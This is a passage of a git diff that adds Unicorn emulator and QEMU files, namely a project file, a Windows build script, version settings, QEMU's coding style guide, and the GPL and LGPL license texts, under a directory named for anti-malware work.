<Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\cpu.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\excp_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\fpu_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\int_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\mem_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\misc_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\seg_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\smm_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\svm_helper.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\translate.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-i386\unicorn.c"> + <Filter>target-i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/nmake.bat b/ai_anti_malware/unicorn/unicorn-master/nmake.bat new file mode 100644 index 0000000..e2a192b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/nmake.bat @@ -0,0 +1,40 @@ +:: Unicorn Emulator Engine +:: Build Unicorn libs on Windows with CMake & Nmake +:: Usage: nmake.bat [x86 arm aarch64 m68k mips sparc], default build all. +:: By Huitao Chen, 2019 + +@echo off + +set flags="-DCMAKE_BUILD_TYPE=Release" + +set allparams= + +:loop +set str=%1 +if "%str%"=="" ( + goto end +) +set allparams=%allparams% %str% +shift /0 +goto loop + +:end +if "%allparams%"=="" ( + goto eof +) +:: remove left, right blank +:intercept_left +if "%allparams:~0,1%"==" " set "allparams=%allparams:~1%" & goto intercept_left + +:intercept_right +if "%allparams:~-1%"==" " set "allparams=%allparams:~0,-1%" & goto intercept_right + +:eof + +if "%allparams%"=="" ( +cmake "%flags%" -G "NMake Makefiles" .. +) else ( +cmake "%flags%" "-DUNICORN_ARCH=%allparams%" -G "NMake Makefiles" .. +) + +nmake diff --git a/ai_anti_malware/unicorn/unicorn-master/pkgconfig.mk b/ai_anti_malware/unicorn/unicorn-master/pkgconfig.mk new file mode 100644 index 0000000..d9c3974 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/pkgconfig.mk @@ -0,0 +1,13 @@ +# Package version of Unicorn for Makefile. +# To be used to generate unicorn.pc for pkg-config +# Also used to generate python package version + +# version major & minor +PKG_MAJOR = 1 +PKG_MINOR = 0 + +# version bugfix level. Example: PKG_EXTRA = 1 +PKG_EXTRA = 2 + +# version tag. Examples: rc1, b2, post1 +# PKG_TAG = rc6 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/CODING_STYLE b/ai_anti_malware/unicorn/unicorn-master/qemu/CODING_STYLE new file mode 100644 index 0000000..d46cfa5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/CODING_STYLE @@ -0,0 +1,107 @@ +QEMU Coding Style +================= + +Please use the script checkpatch.pl in the scripts directory to check +patches before submitting. + +1. Whitespace + +Of course, the most important aspect in any coding style is whitespace. +Crusty old coders who have trouble spotting the glasses on their noses +can tell the difference between a tab and eight spaces from a distance +of approximately fifteen parsecs. Many a flamewar have been fought and +lost on this issue. + +QEMU indents are four spaces. Tabs are never used, except in Makefiles +where they have been irreversibly coded into the syntax. +Spaces of course are superior to tabs because: + + - You have just one way to specify whitespace, not two. Ambiguity breeds + mistakes. + - The confusion surrounding 'use tabs to indent, spaces to justify' is gone. + - Tab indents push your code to the right, making your screen seriously + unbalanced. + - Tabs will be rendered incorrectly on editors who are misconfigured not + to use tab stops of eight positions. + - Tabs are rendered badly in patches, causing off-by-one errors in almost + every line. + - It is the QEMU coding style. + +Do not leave whitespace dangling off the ends of lines. + +2. Line width + +Lines are 80 characters; not longer. + +Rationale: + - Some people like to tile their 24" screens with a 6x4 matrix of 80x24 + xterms and use vi in all of them. The best way to punish them is to + let them keep doing it. + - Code and especially patches is much more readable if limited to a sane + line length. Eighty is traditional. + - It is the QEMU coding style. + +3. Naming + +Variables are lower_case_with_underscores; easy to type and read. Structured +type names are in CamelCase; harder to type but standing out. Enum type +names and function type names should also be in CamelCase. Scalar type +names are lower_case_with_underscores_ending_with_a_t, like the POSIX +uint64_t and family. Note that this last convention contradicts POSIX +and is therefore likely to be changed. + +When wrapping standard library functions, use the prefix qemu_ to alert +readers that they are seeing a wrapped version; otherwise avoid this prefix. + +4. Block structure + +Every indented statement is braced; even if the block contains just one +statement. The opening brace is on the line that contains the control +flow statement that introduces the new block; the closing brace is on the +same line as the else keyword, or on a line by itself if there is no else +keyword. Example: + + if (a == 5) { + printf("a was 5.\n"); + } else if (a == 6) { + printf("a was 6.\n"); + } else { + printf("a was something else entirely.\n"); + } + +Note that 'else if' is considered a single statement; otherwise a long if/ +else if/else if/.../else sequence would need an indent for every else +statement. + +An exception is the opening brace for a function; for reasons of tradition +and clarity it comes on a line by itself: + + void a_function(void) + { + do_something(); + } + +Rationale: a consistent (except for functions...) bracing style reduces +ambiguity and avoids needless churn when lines are added or removed. +Furthermore, it is the QEMU coding style. + +5. Declarations + +Mixed declarations (interleaving statements and declarations within blocks) +are not allowed; declarations should be at the beginning of blocks. In other +words, the code should not generate warnings if using GCC's +-Wdeclaration-after-statement option. + +6. Conditional statements + +When comparing a variable for (in)equality with a constant, list the +constant on the right, as in: + +if (a == 1) { + /* Reads like: "If a equals 1" */ + do_something(); +} + +Rationale: Yoda conditions (as in 'if (1 == a)') are awkward to read. +Besides, good compilers already warn users when '==' is mis-typed as '=', +even when the constant is on the right. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING b/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING new file mode 100644 index 0000000..00ccfbb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + <signature of Ty Coon>, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING.LIB b/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING.LIB new file mode 100644 index 0000000..48afc2e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/COPYING.LIB @@ -0,0 +1,504 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, 